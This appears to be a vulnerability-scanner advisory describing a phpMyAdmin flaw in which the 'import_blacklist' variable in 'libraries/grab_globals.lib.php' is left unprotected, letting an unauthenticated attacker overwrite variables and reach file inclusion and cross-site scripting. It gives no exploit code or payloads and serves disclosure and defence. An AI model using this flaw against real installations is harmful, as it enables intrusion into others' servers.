The version of phpMyAdmin installed on the remote host fails to properly protect the global βimport_blacklistβ variable, which is used in the βlibraries/grab_globals.lib.phpβ script to protect global variables in its register_globals emulation layer. An unauthenticated attacker can exploit this flaw to overwrite arbitrary variables, thereby opening the application up to remote / local file include as well as cross-site scripting attacks.
